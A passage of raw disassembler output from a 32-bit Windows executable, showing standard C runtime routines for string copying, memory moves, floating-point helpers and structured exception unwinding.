loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; .packed:0040E29Fp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A950 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: sub_41B784+9p ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB98C, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43CF64, offset sub_421935 mov off_43CF60, eax mov off_43CF68, offset sub_42199B mov off_43CF6C, offset sub_4218DB mov off_43CF70, offset sub_421983 mov off_43CF74, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; sub_40D99B+3A1p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A968 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: sub_422111+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C ; RtlUnwind loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: .packed:00426DFCj ; .packed:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB9E4 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_41CB8C push [ebp+arg_0] call sub_42675C ; RtlUnwind loc_41CB8C: ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 